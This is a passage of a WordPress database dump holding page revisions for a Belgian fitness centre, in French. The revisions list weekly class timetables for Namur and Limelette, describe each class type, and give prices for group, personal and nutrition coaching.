class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 09:03:02', '2013-11-03 09:03:02', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0);
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(399, 1, '2013-11-03 09:03:19', '2013-11-03 09:03:19', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 09:03:19', '2013-11-03 09:03:19', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(400, 1, '2013-11-03 09:04:16', '2013-11-03 09:04:16', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h2&gt;Namur&lt;/h2&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h2&gt;&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;&lt;/h2&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 09:04:16', '2013-11-03 09:04:16', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(401, 1, '2013-11-03 09:05:19', '2013-11-03 09:05:19', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; background-color: #ffffff;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\nNamur\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&amp;nbsp;\n&lt;h2&gt;Team Training :&lt;/h2&gt;\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\n\n&amp;nbsp;\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\nTRX&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\nCARDIO&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\nRIP-KETTLE&lt;/td&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\nGLFE&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\nTRX&lt;/td&gt;\n&lt;td 